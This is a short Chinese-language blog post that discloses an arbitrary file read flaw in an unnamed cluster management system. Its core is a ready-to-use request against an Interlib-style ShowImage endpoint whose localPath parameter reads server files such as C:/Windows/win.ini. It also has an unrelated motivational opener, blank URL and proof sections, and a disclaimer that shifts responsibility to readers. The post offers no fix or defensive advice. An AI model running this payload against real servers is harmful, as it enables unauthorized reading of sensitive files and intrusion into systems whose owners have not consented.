某集群管理系统存在任意文件读取漏洞

文章预览

你为什么要拼命努力？父母的白发，想去的地方很远，想要的东西很贵，喜欢的人很优秀，周围人的嘲笑，以及，天生傲骨。 漏洞描述 利用漏洞，攻击者可以读取 Windows 或 Linux 服务器上的任意文件。利用文件读取漏洞，攻击者可以获取到系统文件信息，从而造成敏感信息泄露。 漏洞实战 访问url： 漏洞payload： /interlib/report/ShowImage?localPath=C:/Windows/win.ini 漏洞证明： 文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。 免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。 转载声明：儒道易行 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文 ………………………………